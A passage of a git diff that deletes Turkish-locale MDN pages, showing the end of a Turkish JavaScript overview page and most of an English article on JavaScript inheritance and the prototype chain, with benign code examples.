bir yapı sağlar. JavaScript hakkında <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/About_JavaScript">detaylı bilgi edinin</a>.</p> - -<p>JavaScript standardı <a href="https://developer.mozilla.org/en-US/docs/JavaScript/Language_Resources">ECMAScript</a> olarak adlandırılır. 2012 yılı itibariyle tüm modern tarayıcılar ECMAScript 5.1'i desteklerken eski tarayıcılar ECMAScript 3'e kadar destekler. 17 Haziran 2015'de resmi olarak ECMAScript 2015 adı verilen 6. versiyon yayınlandı çoğunlukla ES2015 olarak ifade edildi. Bu döküman şu an için ECMAScript 2015'yı kapsıyor, ancak yakında ECMAScript 2016'yi kapsayacak şekilde güncellenecektir.</p> - -<p>Sitenin bu kısmı JavaScript'in kendisine, web sitesiyle doğrudan alakalı olmayan parçalara ve diğer ortamlara ayrılmıştır. {{Glossary("API","APIs")}} hakkında bilgi için lütfen <a href="https://developer.mozilla.org/en-US/docs/Web/API">Web API</a>s ve <a href="https://developer.mozilla.org/en-US/docs/Glossary/DOM">DOM</a> sayfalarını inceleyin.</p> - -<p>JavaScript, <a href="https://en.wikipedia.org/wiki/Java_%28programming_language%29">Java programlama dili</a>'nden farklıdır. Java, A.B.D. ve diğer ülkelerde Oracle firmasının kayıtlı markasıdır.</p> - -<div class="column-container"> -<div class="column-half"> -<h2 id="Eğitim_Setleri">Eğitim Setleri</h2> - -<p>Rehberlerimiz ve eğitim setlerimiz ile JavaScript programlamayı öğrenin.</p> - -<h3 id="Başlangıç">Başlangıç</h3> - -<dl> - <dt><a href="https://developer.mozilla.org/tr/docs/Web/JavaScript/Guide">JavaScript Rehberi</a></dt> - <dd>JavaScript'te yeniyseniz, bu rehber sizi adım adım JavaScript'e götürecek.</dd> - <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/JavaScript_technologies_overview">JavaScript teknolojilerine genel bakış</a></dt> - <dd>Web tarayıcısı için JavaScript.</dd> - <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Introduction_to_Object-Oriented_JavaScript">Nesne tabanlı JavaScript</a></dt> - <dd>Nesne tabanlı JavaScript'e giriş.</dd> -</dl> - -<h3 id="Orta_seviye">Orta seviye</h3> - -<dl> - <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/A_re-introduction_to_JavaScript">JavaScript ile yeniden tanışma</a></dt> - <dd>JavaScript az buçuk haberdar olanlar için açıklama.</dd> -</dl> - -<dl> - <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures">JavaScript veri yapıları</a></dt> - <dd>JavaScript'te bulunan veri yapılarına genel bakış.</dd> - <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Equality_comparisons_and_sameness">Eşitlik kıyaslamaları ve aynılık</a></dt> - <dd>JavaScript üç farklı değer kıyaslama işlemi sağlar: katı eşitlik (===), zayıf eşitlik (==) ve {{jsxref("Global_Objects/Object/is", "Object.is()")}} metodu.</dd> -</dl> - -<h3 id="Üst_seviye">Üst seviye</h3> - -<dl> - <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Inheritance_and_the_prototype_chain">Kalıtım ve prototip zinciri</a></dt> - <dd>Büyük ölçüde yanlış anlaşılan ifadeler ve eksik değerlendirilmiş prototip tabanlı kalıtım.</dd> - <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode">Katı Mod</a></dt> - <dd>Kısıtlı bir JavaScript varyantı.</dd> - <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Typed_arrays">JavaScript Tanımlanmış Diziler</a></dt> - <dd>JavaScript typed arrays, ikilik sayı sistemindeki taslak veriye erişmek için bir mekanizma sağlar.</dd> - <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Memory_Management">Bellek yönetimi</a></dt> - <dd>JavaScript'te bellek yaşam döngüsü ve atık veri toplama işlemleri.</dd> - <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop">Eş zamanlılık modeli ve olay döngüsü</a></dt> - <dd>JavaScript, olay döngüsüne dayandırışmış bir eş zamanlılık modeline sahiptir.</dd> -</dl> -</div> - -<div class="column-half"> -<h2 id="Referanslar">Referanslar</h2> - -<p><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference">JS referanslar</a> dökümanını inceleyin.</p> - -<dl> - <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects">Standart nesneler</a></dt> - <dd><code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array" title="The JavaScript Array global object is a constructor for arrays, which are high-level, list-like objects."><code>Array</code></a></code>, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a>, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date" title="Creates a JavaScript Date instance that represents a single moment in time. Date objects are based on a time value that is the number of milliseconds since 1 January, 1970 UTC."><code>Date</code></a>, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error" title="The Error constructor creates an error object. Instances of Error objects are thrown when runtime errors occur. The Error object can also be used as a base objects for user-defined exceptions. See below for standard built-in error types."><code>Error</code></a>, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function" title="The Function constructor creates a new Function object. In JavaScript every function is actually a Function object."><code>Function</code></a>, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON" title="The JSON object contains methods for parsing JavaScript Object Notation (JSON) and converting values to JSON. It can't be called or constructed, and aside from its two method properties it has no interesting functionality of its own."><code>JSON</code></a>, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math" title="Math is a built-in object that has properties and methods for mathematical constants and functions. Not a function object."><code>Math</code></a>, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number" title="The Number JavaScript object is a wrapper object allowing you to work with numerical values. A Number object is created using the Number() constructor."><code>Number</code></a>, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object"><code>Object</code></a>, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp" title="The RegExp constructor creates a regular expression object for matching text with a pattern."><code>RegExp</code></a>, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String" title="The String global object is a constructor for strings, or a sequence of characters."><code>String</code></a>, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map" title="The Map object is a simple key/value map. Any value (both objects and primitive values) may be used as either a key or a value."><code>Map</code></a>, <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set">Set</a></code>, <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap" title="The WeakMap object is a collection of key/value pairs in which the keys are objects and the values can be arbitrary values."><code>WeakMap</code></a></code>, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakSet" title="The WeakSet object lets you store weakly held objects in a collection."><code>WeakSet</code></a> ve diğer yerleşik nesneler hakkında bilgi edinin.</dd> - <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators">Matematiksel ifadeler ve operatörler</a></dt> - <dd>JavaScript'te bulunan <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/instanceof">instanceof</a></code>, <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof">typeof</a></code>, <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/new">new</a></code>, <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/this">this</a> </code>gibi birçok operatörün işlevsellikleri hakkında daha fazla bilgi edinin.</dd> - <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements">İfadeler ve deklarasyonlar</a></dt> - <dd><code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/do...while">do-while</a></code>, <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for-in</a></code>, <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for-of</a></code>, <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/try...catch">try-catch</a></code>, <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let">let</a></code>, <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var">var</a></code>, <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const">const</a></code>, <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/if...else">if-else</a></code>, <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/switch">switch</a></code> gibi birçok ifadenin ve anahtar kelimenin nasıl işlediğini öğrenin.</dd> - <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions">Fonksiyonlar</a></dt> - <dd>Kendi uygulamanızı geliştirmek için JavaScript fonksiyonlarını öğrenin.</dd> -</dl> - -<h2 id="Araçlar_Kaynaklar">Araçlar & Kaynaklar</h2> - -<p>JavaScript'te kod yazarken ve hata ayıklarken kullanılabilecek yardımcı kaynaklar.</p> - -<dl> - <dt><a href="https://developer.mozilla.org/en-US/docs/Tools">Firefox Geliştirici Araçları</a></dt> - <dd><a href="https://developer.mozilla.org/en-US/docs/Tools/Scratchpad">Scratchpad</a>, <a href="https://developer.mozilla.org/en-US/docs/Tools/Web_Console">Web Console</a>, <a href="https://developer.mozilla.org/en-US/docs/Tools/Profiler">JavaScript Profiler</a>, <a href="https://developer.mozilla.org/en-US/docs/Tools/Debugger">Debugger</a> ve daha fazlası.</dd> - <dt><a class="external external-icon" href="http://www.getfirebug.com/">Firebug</a></dt> - <dd>Herhangi bir sayfada CSS, HTML ve JavaScript'i canlı olarak düzenleyin, hata ayıklayın.</dd> - <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Shells">JavaScript Terminalleri</a></dt> - <dd>Bir JavaScript terminali, ufak JavaScript kodlarını hızlı bir şekilde test etmenizi sağlar.</dd> - <dt><a href="https://togetherjs.com/">TogetherJS</a></dt> - <dd> - <p class="hero-header-text large">TogetherJS size eş zamanlı bir şekilde takım çalışması yapmanızı sağlar.</p> - </dd> - <dt><a href="http://stackoverflow.com/questions/tagged/javascript">Stack Overflow</a></dt> - <dd>Stack Overflow'da sorular "JavaScript" etiketi altında yer alır.</dd> - <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/New_in_JavaScript">JavaScript sürümleri ve sürüm notları</a></dt> - <dd>JavaScript'in özellik geçmişine ve uygulanma durumuna bir göz atın.</dd> - <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/New_in_JavaScript">JSFiddle</a></dt> - <dd>Javascript, CSS, HTML içerikleri düzenleyin ve canlı sonuçlar edinin. Harici kaynaklar kullanarak ekibiniz ile birlikte çevirimiçi çalışın.</dd> -</dl> -</div> -</div> diff --git a/files/tr/web/javascript/inheritance_and_the_prototype_chain/index.html b/files/tr/web/javascript/inheritance_and_the_prototype_chain/index.html deleted file mode 100644 index 3996834ab3..0000000000 --- a/files/tr/web/javascript/inheritance_and_the_prototype_chain/index.html +++ /dev/null @@ -1,561 +0,0 @@ ---- -title: Türkçe -slug: Web/JavaScript/Inheritance_and_the_prototype_chain -translation_of: Web/JavaScript/Inheritance_and_the_prototype_chain ---- -<div>{{jsSidebar("Advanced")}}</div> - -<p>JavaScript is a bit confusing for developers experienced in class-based languages (like Java or C++), as it is dynamic and does not provide a <code>class</code> implementation per se (the <code>class</code> keyword is introduced in ES2015, but is syntactical sugar, JavaScript remains prototype-based).</p> - -<p>When it comes to inheritance, JavaScript only has one construct: objects. Each object has a private property which holds a link to another object called its <strong>prototype</strong>. That prototype object has a prototype of its own, and so on until an object is reached with <code>null</code> as its prototype. By definition, <code>null</code> has no prototype, and acts as the final link in this <strong>prototype chain</strong>.</p> - -<p>Nearly all objects in JavaScript are instances of {{jsxref("Object")}} which sits on the top of a prototype chain.</p> - -<p>While this confusion is often considered to be one of JavaScript's weaknesses, the prototypal inheritance model itself is, in fact, more powerful than the classic model. It is, for example, fairly trivial to build a classic model on top of a prototypal model.</p> - -<h2 id="Inheritance_with_the_prototype_chain">Inheritance with the prototype chain</h2> - -<h3 id="Inheriting_properties">Inheriting properties</h3> - -<p>JavaScript objects are dynamic "bags" of properties (referred to as <strong>own properties</strong>). JavaScript objects have a link to a prototype object. When trying to access a property of an object, the property will not only be sought on the object but on the prototype of the object, the prototype of the prototype, and so on until either a property with a matching name is found or the end of the prototype chain is reached.</p> - -<div class="note"> -<p>Following the ECMAScript standard, the notation <code>someObject.[[Prototype]]</code> is used to designate the prototype of <code>someObject</code>. Since ECMAScript 2015, the <code>[[Prototype]]</code> is accessed using the accessors {{jsxref("Object.getPrototypeOf()")}} and {{jsxref("Object.setPrototypeOf()")}}. This is equivalent to the JavaScript property <code>__proto__</code> which is non-standard but de-facto implemented by many browsers.</p> - -<p>It should not be confused with the <code><em>func</em>.prototype</code> property of functions, which instead specifies the <code>[[Prototype]]</code> to be assigned to all <em>instances</em> of objects created by the given function when used as a constructor. The <code><strong>Object.prototype</strong></code> property represents the {{jsxref("Object")}} prototype object.</p> -</div> - -<p>Here is what happens when trying to access a property:</p> - -<pre class="brush: js">// Let's create an object o from function f with its own properties a and b: -let f = function () { - this.a = 1; - this.b = 2; -} -let o = new f(); // {a: 1, b: 2} - -// add properties in f function's prototype -f.prototype.b = 3; -f.prototype.c = 4; - -// do not set the prototype f.prototype = {b:3,c:4}; this will break the prototype chain -// o.[[Prototype]] has properties b and c. -// o.[[Prototype]].[[Prototype]] is Object.prototype. -// Finally, o.[[Prototype]].[[Prototype]].[[Prototype]] is null. -// This is the end of the prototype chain, as null, -// by definition, has no [[Prototype]]. -// Thus, the full prototype chain looks like: -// {a: 1, b: 2} ---> {b: 3, c: 4} ---> Object.prototype ---> null - -console.log(o.a); // 1 -// Is there an 'a' own property on o? Yes, and its value is 1. - -console.log(o.b); // 2 -// Is there a 'b' own property on o? Yes, and its value is 2. -// The prototype also has a 'b' property, but it's not visited. -// This is called Property Shadowing - -console.log(o.c); // 4 -// Is there a 'c' own property on o? No, check its prototype. -// Is there a 'c' own property on o.[[Prototype]]? Yes, its value is 4. - -console.log(o.d); // undefined -// Is there a 'd' own property on o? No, check its prototype. -// Is there a 'd' own property on o.[[Prototype]]? No, check its prototype. -// o.[[Prototype]].[[Prototype]] is Object.prototype and there is no 'd' property by default, check its prototype. -// o.[[Prototype]].[[Prototype]].[[Prototype]] is null, stop searching, -// no property found, return undefined. -</pre> - -<p><a href="https://repl.it/@khaled_hossain_code/prototype">Code Link</a></p> - -<p>Setting a property to an object creates an own property. The only exception to the getting and setting behavior rules is when there is an inherited property with a <a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Defining_getters_and_setters">getter or a setter</a>.</p> - -<h3 id="Inheriting_methods">Inheriting "methods"</h3> - -<p>JavaScript does not have "methods" in the form that class-based languages define them. In JavaScript, any function can be added to an object in the form of a property. An inherited function acts just as any other property, including property shadowing as shown above (in this case, a form of <em>method overriding</em>).</p> - -<p>When an inherited function is executed, the value of <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this"><code>this</code></a> points to the inheriting object, not to the prototype object where the function is an own property.</p> - -<pre class="brush: js">var o = { - a: 2, - m: function() { - return this.a + 1; - } -}; - -console.log(o.m()); // 3 -// When calling o.m in this case, 'this' refers to o - -var p = Object.create(o); -// p is an object that inherits from o - -p.a = 4; // creates a property 'a' on p -console.log(p.m()); // 5 -// when p.m is called, 'this' refers to p. -// So when p inherits the function m of o, -// 'this.a' means p.a, the property 'a' of p - - -</pre> - -<h2 id="Using_prototypes_in_JavaScript">Using prototypes in JavaScript</h2> - -<p>Let's look at what happens behind the scenes in a bit more detail.</p> - -<p>In JavaScript, as mentioned above, functions are able to have properties. All functions have a special property named <code>prototype</code>. Please note that the code below is free-standing (it is safe to assume there is no other JavaScript on the webpage other than the below code). For the best learning experience, it is highly recommended that you open a console, navigate to the "console" tab, copy-and-paste in the below JavaScript code, and run it by pressing the Enter/Return key. (The console is included in most web browser's Developer Tools. More information is available for <a href="/en-US/docs/Tools">Firefox Developer Tools</a>, <a href="https://developers.google.com/web/tools/chrome-devtools/">Chrome DevTools</a>, and <a href="https://docs.microsoft.com/en-us/microsoft-edge/devtools-guide">Edge DevTools</a>.)</p> - -<pre class="brush: js">function doSomething(){} -console.log( doSomething.prototype ); -// It does not matter how you declare the function, a -// function in JavaScript will always have a default -// prototype property. -// (Ps: There is one exception that arrow function doesn't have a default prototype property) -var doSomething = function(){}; -console.log( doSomething.prototype ); -</pre> - -<p>As seen above, <code>doSomething()</code> has a default <code>prototype</code> property, as demonstrated by the console. After running this code, the console should have displayed an object that looks similar to this.</p> - -<pre class="brush: js">{ - constructor: ƒ doSomething(), - __proto__: { - constructor: ƒ Object(), - hasOwnProperty: ƒ hasOwnProperty(), - isPrototypeOf: ƒ isPrototypeOf(), - propertyIsEnumerable: ƒ propertyIsEnumerable(), - toLocaleString: ƒ toLocaleString(), - toString: ƒ toString(), - valueOf: ƒ valueOf() - } -}</pre> - -<p>We can add properties to the prototype of <code>doSomething()</code>, as shown below.</p> - -<pre class="brush: js">function doSomething(){} -doSomething.prototype.foo = "bar"; -console.log( doSomething.prototype );</pre> - -<p>This results in:</p> - -<pre class="brush: js">{ - foo: "bar", - constructor: ƒ doSomething(), - __proto__: { - constructor: ƒ Object(), - hasOwnProperty: ƒ hasOwnProperty(), - isPrototypeOf: ƒ isPrototypeOf(), - propertyIsEnumerable: ƒ propertyIsEnumerable(), - toLocaleString: ƒ toLocaleString(), - toString: ƒ toString(), - valueOf: ƒ valueOf() - } -} -</pre> - -<p>We can now use the <code>new</code> operator to create an instance of <code>doSomething()</code> based on this prototype. To use the new operator, simply call the function normally except prefix it with <code>new</code>. Calling a function with the <code>new</code> operator returns an object that is an instance of the function. Properties can then be added onto this object.</p> - -<p>Try the following code:</p> - -<pre class="brush: js">function doSomething(){} -doSomething.prototype.foo = "bar"; // add a property onto the prototype -var doSomeInstancing = new doSomething(); -doSomeInstancing.prop = "some value"; // add a property onto the object -console.log( doSomeInstancing );</pre> - -<p>This results in an output similar to the following:</p> - -<pre class="brush: js">{ - prop: "some value", - __proto__: { - foo: "bar", - constructor: ƒ doSomething(), - __proto__: { - constructor: ƒ Object(), - hasOwnProperty: ƒ hasOwnProperty(), - isPrototypeOf: ƒ isPrototypeOf(), - propertyIsEnumerable: ƒ propertyIsEnumerable(), - toLocaleString: ƒ toLocaleString(), - toString: ƒ toString(), - valueOf: ƒ valueOf() - } - } -}</pre> - -<p>As seen above, the <code>__proto__</code> of <code>doSomeInstancing</code> is <code>doSomething.prototype</code>. But, what does this do? When you access a property of <code>doSomeInstancing</code>, the browser first looks to see if <code>doSomeInstancing</code> has that property.</p> - -<p>If <code>doSomeInstancing</code> does not have the property, then the browser looks for the property in the <code>__proto__</code> of <code>doSomeInstancing</code> (a.k.a. doSomething.prototype). If the <code>__proto__</code> of doSomeInstancing has the property being looked for, then that property on the <code>__proto__</code> of doSomeInstancing is used.</p> - -<p>Otherwise, if the <code>__proto__</code> of doSomeInstancing does not have the property, then the <code>__proto__</code> of the <code>__proto__</code> of doSomeInstancing is checked for the property. By default, the <code>__proto__</code> of any function's prototype property is <code>window.Object.prototype</code>. So, the <code>__proto__</code> of the <code>__proto__</code> of doSomeInstancing (a.k.a. the <code>__proto__</code> of doSomething.prototype (a.k.a. <code>Object.prototype</code>)) is then looked through for the property being searched for.</p> - -<p>If the property is not found in the <code>__proto__</code> of the <code>__proto__</code> of doSomeInstancing, then the <code>__proto__</code> of the <code>__proto__</code> of the <code>__proto__</code> of doSomeInstancing is looked through. However, there is a problem: the <code>__proto__</code> of the <code>__proto__</code> of the <code>__proto__</code> of doSomeInstancing does not exist. Then, and only then, after the entire prototype chain of <code>__proto__</code>'s is looked through, and there are no more <code>__proto__</code>s does the browser assert that the property does not exist and conclude that the value at the property is <code>undefined</code>.</p> - -<p>Let's try entering some more code into the console:</p> - -<pre class="brush: js">function doSomething(){} -doSomething.prototype.foo = "bar"; -var doSomeInstancing = new doSomething(); -doSomeInstancing.prop = "some value"; -console.log("doSomeInstancing.prop: " + doSomeInstancing.prop); -console.log("doSomeInstancing.foo: " + doSomeInstancing.foo); -console.log("doSomething.prop: " + doSomething.prop); -console.log("doSomething.foo: " + doSomething.foo); -console.log("doSomething.prototype.prop: " + doSomething.prototype.prop); -console.log("doSomething.prototype.foo: " + doSomething.prototype.foo);</pre> - -<p>This results in the following:</p> - -<pre class="brush: js">doSomeInstancing.prop: some value -doSomeInstancing.foo: bar -doSomething.prop: undefined -doSomething.foo: undefined -doSomething.prototype.prop: undefined -doSomething.prototype.foo: bar</pre> - -<h2 id="Different_ways_to_create_objects_and_the_resulting_prototype_chain">Different ways to create objects and the resulting prototype chain</h2> - -<h3 id="Objects_created_with_syntax_constructs">Objects created with syntax constructs</h3> - -<pre class="brush: js">var o = {a: 1}; - -// The newly created object o has Object.prototype as its [[Prototype]] -// o has no own property named 'hasOwnProperty' -// hasOwnProperty is an own property of Object.prototype. -// So o inherits hasOwnProperty from Object.prototype -// Object.prototype has null as its prototype. -// o ---> Object.prototype ---> null - -var b = ['yo', 'whadup', '?']; - -// Arrays inherit from Array.prototype -// (which has methods indexOf, forEach, etc.) -// The prototype chain looks like: -// b ---> Array.prototype ---> Object.prototype ---> null - -function f() { - return 2; -} - -// Functions inherit from Function.prototype -// (which has methods call, bind, etc.) -// f ---> Function.prototype ---> Object.prototype ---> null -</pre> - -<h3 id="With_a_constructor">With a constructor</h3> - -<p>A "constructor" in JavaScript is "just" a function that happens to be called with the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/new">new operator</a>.</p> - -<pre class="brush: js">function Graph() { - this.vertices = []; - this.edges = []; -} - -Graph.prototype = { - addVertex: function(v) { - this.vertices.push(v); - } -}; - -var g = new Graph(); -// g is an object with own properties 'vertices' and 'edges'. -// g.[[Prototype]] is the value of Graph.prototype when new Graph() is executed. -</pre> - -<h3 id="With_Object.create">With <code>Object.create</code></h3> - -<p>ECMAScript 5 introduced a new method: {{jsxref("Object.create()")}}. Calling this method creates a new object. The prototype of this object is the first argument of the function:</p> - -<pre class="brush: js">var a = {a: 1}; -// a ---> Object.prototype ---> null - -var b = Object.create(a); -// b ---> a ---> Object.prototype ---> null -console.log(b.a); // 1 (inherited) - -var c = Object.create(b); -// c ---> b ---> a ---> Object.prototype ---> null - -var d = Object.create(null); -// d ---> null -console.log(d.hasOwnProperty); -// undefined, because d doesn't inherit from Object.prototype -</pre> - -<h3 id="delete_Operator_with_Object.create_and_new_operator"><code>delete</code> Operator with <code>Object.create</code> and <code>new</code> operator</h3> - -<p>Using <code>Object.create</code> of another object demonstrates prototypical inheritance with the <code>delete</code> operation:</p> - -<pre class="brush: js">var a = {a: 1}; - -var b = Object.create(a); - -console.log(a.a); // print 1 -console.log(b.a); // print 1 -b.a=5; -console.log(a.a); // print 1 -console.log(b.a); // print 5 -delete b.a; -console.log(a.a); // print 1 -console.log(b.a); // print 1(b.a value 5 is deleted but it showing value from its prototype chain) -delete a.a; -console.log(a.a); // print undefined -console.log(b.a); // print undefined</pre> - -<p>The <code>new</code> operator has a shorter chain in this example:</p> - -<pre class="brush: js">function Graph() { - this.vertices = [4,4]; -} - -var g = new Graph(); -console.log(g.vertices); // print [4,4] -g.vertices = 25; -console.log(g.vertices); // print 25 -delete g.vertices; -console.log(g.vertices); // print undefined -</pre> - -<h3 id="With_the_class_keyword">With the <code>class</code> keyword</h3> - -<p>ECMAScript 2015 introduced a new set of keywords implementing <a href="/en-US/docs/Web/JavaScript/Reference/Classes">classes</a>. The new keywords include {{jsxref("Statements/class", "class")}}, {{jsxref("Classes/constructor", "constructor")}}, {{jsxref("Classes/static", "static")}}, {{jsxref("Classes/extends", "extends")}}, and {{jsxref("Operators/super", "super")}}.</p> - -<pre class="brush: js">'use strict'; - -class Polygon { - constructor(height, width) { - this.height = height; - this.width = width; - } -} - -class Square extends Polygon { - constructor(sideLength) { - super(sideLength, sideLength); - } - get area() { - return this.height * this.width; - } - set sideLength(newLength) { - this.height = newLength; - this.width = newLength; - } -} - -var square = new Square(2); -</pre> - -<h3 id="Performance">Performance</h3> - -<p>The lookup time for properties that are high up on the prototype chain can have a negative impact on the performance, and this may be significant in the code where performance is critical. Additionally, trying to access nonexistent properties will always traverse the full prototype chain.</p> - -<p>Also, when iterating over the properties of an object, <strong>every</strong> enumerable property that is on the prototype chain will be enumerated. To check whether an object has a property defined on <em>itself</em> and not somewhere on its prototype chain, it is necessary to use the <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty"><code>hasOwnProperty</code></a> method which all objects inherit from <code>Object.prototype</code>. To give you a concrete example, let's take the above graph example code to illustrate it:</p> - -<pre class="brush: js">console.log(g.hasOwnProperty('vertices')); -// true - -console.log(g.hasOwnProperty('nope')); -// false - -console.log(g.hasOwnProperty('addVertex')); -// false - -console.log(g.__proto__.hasOwnProperty('addVertex')); -// true -</pre> - -<p><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty"><code>hasOwnProperty</code></a> is the only thing in JavaScript which deals with properties and does <strong>not</strong> traverse the prototype chain.</p> - -<p>Note: It is <strong>not</strong> enough to check whether a property is <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined"><code>undefined</code></a>. The property might very well exist, but its value just happens to be set to <code>undefined</code>.</p> - -<h3 id="Bad_practice_Extension_of_native_prototypes">Bad practice: Extension of native prototypes</h3> - -<p>One misfeature that is often used is to extend <code>Object.prototype</code> or one of the other built-in prototypes.</p> - -<p>This technique is called monkey patching and breaks <em>encapsulation</em>. While used by popular frameworks such as Prototype.js, there is still no good reason for cluttering built-in types with additional <em>non-standard</em> functionality.</p> - -<p>The <strong>only</strong> good reason for extending a built-in prototype is to backport the features of newer JavaScript engines, like <code>Array.forEach</code>.</p> - -<h3 id="Summary_of_methods_for_extending_the_prototype_chain">Summary of methods for extending the prototype chain</h3> - -<p>Here are all 4 ways and their pros/cons. All of the examples listed below create exactly the same resulting <code>inst</code> object (thus logging the same results to the console), except in different ways for the purpose of illustration.</p> - -<table class="standard-table" style="text-align: top;"> - <tbody> - <tr> - <td style="width: 1%;">Name</td> - <td style="vertical-align: top; width: 1%;">Example(s)</td> - <td style="vertical-align: top;">Pro(s)</td> - <td style="vertical-align: top; width: 60%;">Con(s)</td> - </tr> - <tr> - <td>New-initialization</td> - <td style="vertical-align: top;"> - <pre class="brush: js"> -function foo(){} -foo.prototype = { - foo_prop: "foo val" -}; -function bar(){} -var proto = new foo; -proto.bar_prop = "bar val"; -bar.prototype = proto; -var inst = new bar; -console.log(inst.foo_prop); -console.log(inst.bar_prop); -</pre> - </td> - <td style="vertical-align: top;">Supported in every browser imaginable (support goes all the way back to IE 5.5!). Also, it is very fast, very standard, and very JIST-optimizable.</td> - <td style="vertical-align: top;">In order to use this method, the function in question must be initialized. During this initialization, the constructor may store unique information that must be generated per-object. However, this unique information would only be generated once, potentially leading to problems. Additionally, the initialization of the constructor may put unwanted methods onto the object. However, both these are generally not problems at all (in fact, usually beneficial) if it is all your own code and you know what does what where.</td> - </tr> - <tr> - <td>Object.create</td> - <td style="vertical-align: top;"> - <pre class="brush: js"> -function foo(){} -foo.prototype = { - foo_prop: "foo val" -}; -function bar(){} -var proto = Object.create( - foo.prototype -); -proto.bar_prop = "bar val"; -bar.prototype = proto; -var inst = new bar; -console.log(inst.foo_prop); -console.log(inst.bar_prop); -</pre> - - <pre class="brush: js"> -function foo(){} -foo.prototype = { - foo_prop: "foo val" -}; -function bar(){} -var proto = Object.create( - foo.prototype, - { - bar_prop: { - value: "bar val" - } - } -); -bar.prototype = proto; -var inst = new bar; -console.log(inst.foo_prop); -console.log(inst.bar_prop)</pre> - </td> - <td style="vertical-align: top;">Support in all in-use-today browsers which are all non-microsoft browsers plus IE9 and up. Allows the direct setting of __proto__ in a way that is one-time-only so that the browser can better optimize the object. Also allows the creation of objects without a prototype via <code>Object.create(null)</code>.</td> - <td style="vertical-align: top;">Not supported in IE8 and below. However, as Microsoft has discontinued extended support for systems running these old browsers, this should not be a concern for most applications. Additionally, the slow object initialization can be a performance black hole if using the second argument because each object-descriptor property has its own separate descriptor object. When dealing with hundreds of thousands of object descriptors in the form of object, there can arise a serious issue with lag.</td> - </tr> - <tr> - <td> - <p>Object.setPrototypeOf</p> - </td> - <td style="vertical-align: top;"> - <pre class="brush: js"> -function foo(){} -foo.prototype = { - foo_prop: "foo val" -}; -function bar(){} -var proto = { - bar_prop: "bar val" -}; -Object.setPrototypeOf( - proto, foo.prototype -); -bar.prototype = proto; -var inst = new bar; -console.log(inst.foo_prop); -console.log(inst.bar_prop); -</pre> - - <pre class="brush: js"> -function foo(){} -foo.prototype = { - foo_prop: "foo val" -}; -function bar(){} -var proto; -proto=Object.setPrototypeOf( - { bar_prop: "bar val" }, - foo.prototype -); -bar.prototype = proto; -var inst = new bar; -console.log(inst.foo_prop); -console.log(inst.bar_prop)</pre> - </td> - <td style="vertical-align: top;">Support in all in-use-today browsers which are all non-microsoft browsers plus IE9 and up. Allows the dynamic manipulation of 